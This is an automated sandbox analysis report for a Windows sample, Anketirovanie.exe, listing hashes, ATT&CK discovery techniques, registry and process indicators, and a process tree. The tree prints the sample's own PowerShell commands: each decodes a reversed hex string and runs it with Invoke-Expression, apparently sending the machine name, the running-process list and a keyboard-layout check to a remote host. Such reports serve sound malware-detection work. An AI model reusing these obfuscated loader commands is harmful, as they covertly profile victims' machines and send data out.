444b373fcf1efca9948b80ffd255f20585219105dd43ed99462053e26735407a

Analysis

max time kernel
149s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
13/09/2026, 00:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Anketirovanie.exe
Size 128KB
Sample260913-alkkdshr3w
SHA256 444b373fcf1efca9948b80ffd255f20585219105dd43ed99462053e26735407a
MD5 05bf3a9fcb5febf254f477e1d04c70ff
SHA1 13dc21a17e30fbd8dfb0350a40d4732302fe939e
SHA512 4a977805824eb7ec711353e02ca442b4e2abaa161bfb0061ee6e806cc778fc4247a71a79ab46da3ad857970c37759ef08c2932da893bdd96fcedf71628cc6890
SSDEEP 1536:JiXjvhgOfvCbcGzVeoqz5DL1ApcbNnpa2IzFlDN6kw1P/x:+NgqCbcqVeoqz5DL1AmbLa2IzJ6k2x
TLSH
T1A4D31E3FE01802AFD23694F6CE975D56F5A96D03361DE08CE4C2A72BC067152E1E52AB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2864	powershell.exe
3	5160	powershell.exe
4	1104	powershell.exe
5	4280	powershell.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_1655263708\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_2113468048\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_2113468048\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_1132708707\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5392_1132708707\nav_config.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Anketirovanie.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2896	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2714045687-1127350534-2056456672-1000\{00125B21-CB02-4C48-9843-FD1B53742796}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2714045687-1127350534-2056456672-1000\{20214F34-33A9-4E12-9B90-0234FF783264}	msedge.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
5040	Anketirovanie.exe
5040	Anketirovanie.exe
5040	Anketirovanie.exe
5040	Anketirovanie.exe
5040	Anketirovanie.exe
5040	Anketirovanie.exe
5040	Anketirovanie.exe
5160	powershell.exe
1104	powershell.exe
2864	powershell.exe
4280	powershell.exe
4280	powershell.exe
1104	powershell.exe
1104	powershell.exe
5160	powershell.exe
5160	powershell.exe
2864	powershell.exe
2864	powershell.exe
4280	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
5392	msedge.exe
5392	msedge.exe
5392	msedge.exe
5392	msedge.exe
5392	msedge.exe
5392	msedge.exe
5392	msedge.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	5040	Anketirovanie.exe
Token: SeDebugPrivilege	5160	powershell.exe
Token: SeDebugPrivilege	1104	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	4280	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5392	msedge.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 5040 wrote to memory of 5160	5040	Anketirovanie.exe	88
PID 5040 wrote to memory of 1104	5040	Anketirovanie.exe	89
PID 5040 wrote to memory of 2864	5040	Anketirovanie.exe	92
PID 5040 wrote to memory of 4280	5040	Anketirovanie.exe	93
PID 5040 wrote to memory of 5392	5040	Anketirovanie.exe	97
PID 5392 wrote to memory of 5524	5392	msedge.exe	98
PID 5392 wrote to memory of 2896	5392	msedge.exe	100
PID 5392 wrote to memory of 480	5392	msedge.exe	101
PID 5392 wrote to memory of 480	5392	msedge.exe	101
PID 5392 wrote to memory of 480	5392	msedge.exe	101
PID 5392 wrote to memory of 4296	5392	msedge.exe	102
PID 5392 wrote to memory of 4296	5392	msedge.exe	102
PID 5392 wrote to memory of 5844	5392	msedge.exe	103
PID 5392 wrote to memory of 5844	5392	msedge.exe	103
PID 5392 wrote to memory of 5844	5392	msedge.exe	103
PID 5392 wrote to memory of 4400	5392	msedge.exe	104
PID 5392 wrote to memory of 4400	5392	msedge.exe	104
PID 5392 wrote to memory of 4400	5392	msedge.exe	104
PID 5392 wrote to memory of 3572	5392	msedge.exe	105
PID 5392 wrote to memory of 3176	5392	msedge.exe	106
PID 5392 wrote to memory of 3572	5392	msedge.exe	105
PID 5392 wrote to memory of 3572	5392	msedge.exe	105
PID 5392 wrote to memory of 3176	5392	msedge.exe	106
PID 5392 wrote to memory of 3176	5392	msedge.exe	106
PID 5392 wrote to memory of 4232	5392	msedge.exe	107
PID 5392 wrote to memory of 4232	5392	msedge.exe	107
PID 5392 wrote to memory of 4232	5392	msedge.exe	107
PID 5392 wrote to memory of 3116	5392	msedge.exe	108
PID 5392 wrote to memory of 3116	5392	msedge.exe	108
PID 5392 wrote to memory of 3184	5392	msedge.exe	111
PID 5392 wrote to memory of 3892	5392	msedge.exe	112
PID 5392 wrote to memory of 5516	5392	msedge.exe	113
PID 5392 wrote to memory of 4272	5392	msedge.exe	114
PID 5392 wrote to memory of 3868	5392	msedge.exe	115
PID 5392 wrote to memory of 5532	5392	msedge.exe	116
PID 5392 wrote to memory of 3892	5392	msedge.exe	112
PID 5392 wrote to memory of 3892	5392	msedge.exe	112
PID 5392 wrote to memory of 5516	5392	msedge.exe	113
PID 5392 wrote to memory of 4272	5392	msedge.exe	114
PID 5392 wrote to memory of 3868	5392	msedge.exe	115
PID 5392 wrote to memory of 1512	5392	msedge.exe	117
PID 5392 wrote to memory of 1512	5392	msedge.exe	117
PID 5392 wrote to memory of 4200	5392	msedge.exe	120
PID 5392 wrote to memory of 4200	5392	msedge.exe	120
PID 5392 wrote to memory of 2832	5392	msedge.exe	121
PID 5392 wrote to memory of 4756	5392	msedge.exe	122
PID 5392 wrote to memory of 2400	5392	msedge.exe	123
PID 5392 wrote to memory of 6104	5392	msedge.exe	124
PID 5392 wrote to memory of 6104	5392	msedge.exe	124
PID 5392 wrote to memory of 3780	5392	msedge.exe	127
PID 5392 wrote to memory of 3780	5392	msedge.exe	127
PID 5392 wrote to memory of 4784	5392	msedge.exe	128
PID 5392 wrote to memory of 4784	5392	msedge.exe	128
PID 5392 wrote to memory of 2360	5392	msedge.exe	129
PID 5392 wrote to memory of 2360	5392	msedge.exe	129

C:\Users\Admin\AppData\Local\Temp\Anketirovanie.exe
"C:\Users\Admin\AppData\Local\Temp\Anketirovanie.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5040
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$pc ='LYALYBJC__Admin_4sync';$ver='v.25.7.7.3530-Anketirovanie';$msg='Anketirovanie';$stage='#SelfName';function fromHex { param ($hexString) $bytes = @(); for ($i = 0; $i -lt $hexString.Length; $i += 2) { $bytes += [convert]::ToByte($hexString.Substring($i, 2), 16); } [System.Text.Encoding]::UTF8.GetString($bytes); } $hS = 'd7b78636471636d7b327050742029746f624d2024535f4050246f6864756d4d202c62757e64202962755d20247375657175625265675d256b6f667e694b372078607e297669647f6e672b2275742d3c62757e642b7972747b3d77637d642d3567616373756d6b327566742d3e6f69637275667b3360742d33607b704d327050742b372f286365647e24756765626e25707738333636367f2f2a30747478672d3275742'; $hexString1 = $hS[-1..-($hS.length)] -join ''; $result = fromHex $hexString1; Invoke-Expression $result;"
  2⤵
  - Badlisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5160
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$pc ='LYALYBJC__Admin_4sync';$ver='v.25.7.7.3530-Anketirovanie';$msg='Program is launched. Process of installing is started. sppsvc, svchost, dllhost, svchost, svchost, svchost, fontdrvhost, dllhost, explorer, fontdrvhost, svchost, svchost, svchost, svchost, svchost, svchost, svchost, svchost, winlogon, svchost, svchost, svchost, ctfmon, svchost, svchost, svchost, ShellHost, OfficeClickToRun, svchost, svchost, svchost, Anketirovanie, svchost, svchost, svchost, svchost, svchost, svchost, csrss, Registry, svchost, svchost, sihost, svchost, svchost, svchost, svchost, svchost, svchost, svchost, svchost, spoolsv, svchost, svchost, svchost, SecurityHealthService, RuntimeBroker, svchost, svchost, svchost, StartMenuExperienceHost, svchost, svchost, lsass, svchost, SearchHost, smss, svchost, powershell, svchost, svchost, dwm, services, upfc, svchost, smartscreen, svchost, wininit, csrss, WUDFHost, RuntimeBroker, svchost, svchost, svchost, System, svchost, SecurityHealthSystray, Idle, ';$stage='#ProcessList1';function fromHex { param ($hexString) $bytes = @(); for ($i = 0; $i -lt $hexString.Length; $i += 2) { $bytes += [convert]::ToByte($hexString.Substring($i, 2), 16); } [System.Text.Encoding]::UTF8.GetString($bytes); } $hS = 'd7b78636471636d7b327050742029746f624d2024535f4050246f6864756d4d202c62757e64202962755d20247375657175625265675d256b6f667e694b372078607e297669647f6e672b2275742d3c62757e642b7972747b3d77637d642d3567616373756d6b327566742d3e6f69637275667b3360742d33607b704d327050742b372f286365647e24756765626e25707738333636367f2f2a30747478672d3275742'; $hexString1 = $hS[-1..-($hS.length)] -join ''; $result = fromHex $hexString1; Invoke-Expression $result;"
  2⤵
  - Badlisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1104
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$pc ='LYALYBJC__Admin_4sync';$ver='v.25.7.7.3530-Anketirovanie';$msg='No Cyrillic keyboard layouts found.';$stage='CyrillicResult';function fromHex { param ($hexString) $bytes = @(); for ($i = 0; $i -lt $hexString.Length; $i += 2) { $bytes += [convert]::ToByte($hexString.Substring($i, 2), 16); } [System.Text.Encoding]::UTF8.GetString($bytes); } $hS = 'd7b78636471636d7b327050742029746f624d2024535f4050246f6864756d4d202c62757e64202962755d20247375657175625265675d256b6f667e694b372078607e297669647f6e672b2275742d3c62757e642b7972747b3d77637d642d3567616373756d6b327566742d3e6f69637275667b3360742d33607b704d327050742b372f286365647e24756765626e25707738333636367f2f2a30747478672d3275742'; $hexString1 = $hS[-1..-($hS.length)] -join ''; $result = fromHex $hexString1; Invoke-Expression $result;"
  2⤵
  - Badlisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2864
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$pc ='LYALYBJC__Admin_4sync';$ver='v.25.7.7.3530-Anketirovanie';$msg='Something goes wrong!';$stage='#RickRoll';function fromHex { param ($hexString) $bytes = @(); for ($i = 0; $i -lt $hexString.Length; $i += 2) { $bytes += [convert]::ToByte($hexString.Substring($i, 2), 16); } [System.Text.Encoding]::UTF8.GetString($bytes); } $hS = 'd7b78636471636d7b327050742029746f624d2024535f4050246f6864756d4d202c62757e64202962755d20247375657175625265675d256b6f667e694b372078607e297669647f6e672b2275742d3c62757e642b7972747b3d77637d642d3567616373756d6b327566742d3e6f69637275667b3360742d33607b704d327050742b372f286365647e24756765626e25707738333636367f2f2a30747478672d3275742'; $hexString1 = $hS[-1..-($hS.length)] -join ''; $result = fromHex $hexString1; Invoke-Expression $result;"
  2⤵
  - Badlisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4280
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=dQw4w9WgXcQ
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5392
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffe4225c188,0x7ffe4225c194,0x7ffe4225c1a0
    3⤵
    PID:5524
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2172,i,9042059258668164814,5205830018155078234,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=3184 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2896
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1940,i,18048057978658477191,8335864006435856614,262144 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=2676 /prefetch:2
    3⤵
    PID:480
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2496,i,14964966893305864589,14396879099225919498,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=3260 /prefetch:13
    3⤵
    PID:4296
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3580,i,14261634516719456883,7047562079805852385,2097152 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
    3⤵
    PID:5844
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3584,i,2263999093637232900,7521283372590342644,2097152 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:1
    3⤵
    PID:4400
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4276,i,10607602744967992931,12722875898901782207,2097152 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=4304 /prefetch:1
    3⤵
    PID:3572
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4296,i,9421517292983614485,6894754757622323834,2097152 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=4456 /prefetch:9
    3⤵
    PID:3176
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4524,i,12114576686641879274,13455019040694894749,2097152 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=3796 /prefetch:1
    3⤵
    PID:4232
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5424,i,15383466104707320786,2908552783534225479,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:14
    3⤵
    PID:3116
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5972,i,10064266780615676395,13718244449609760048,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=5988 /prefetch:14
    3⤵
    PID:3324
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5972,i,10064266780615676395,13718244449609760048,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=5988 /prefetch:14
    3⤵
    PID:3184
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5592,i,2747173601196519547,1600023215370175788,2097152 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=6440 /prefetch:1
    3⤵
    PID:3892
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5456,i,15440165786760588293,1659416462457721778,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:14
    3⤵
    PID:5516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5532,i,2046791778395986976,15517010824698400355,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=6396 /prefetch:14
    3⤵
    PID:4272
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5700,i,3428223920378298417,10885946402845625833,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=6460 /prefetch:12
    3⤵
    PID:3868
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5732,i,17400189313455537677,18300927376140306457,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:14
    3⤵
    - Modifies registry class
    PID:5532
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6508,i,5264069159482996784,15911978499311197045,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=7008 /prefetch:14
    3⤵
    PID:1512
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6248,i,14282359889347202575,12920304071659309185,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=6220 /prefetch:14
    3⤵
    PID:4200
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1288,i,3537045659118024792,8899466910490209507,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=1444 /prefetch:14
    3⤵
    PID:2832
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1292,i,222740425543329537,4955534558317820004,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=1404 /prefetch:14
    3⤵
    PID:4756
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1296,i,7341423840325140666,16035786659640055945,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=1256 /prefetch:14
    3⤵
    PID:2400
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6480,i,640771849385603276,3517497862954735693,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:14
    3⤵
    PID:6104
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6060,i,14280270949600170336,9338595841294565170,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=6132 /prefetch:14
    3⤵
    PID:3780
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=956,i,10748541466361998878,17135047294743588806,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:14
    3⤵
    PID:4784
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5748,i,12956628721709871708,16647717470507922995,524288 --field-trial-handle=3144,i,18160223712930125149,18205198930570063201,262144 --variations-seed-version --mojo-platform-channel-handle=956 /prefetch:14
    3⤵
    PID:2360

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4820

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4908

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation
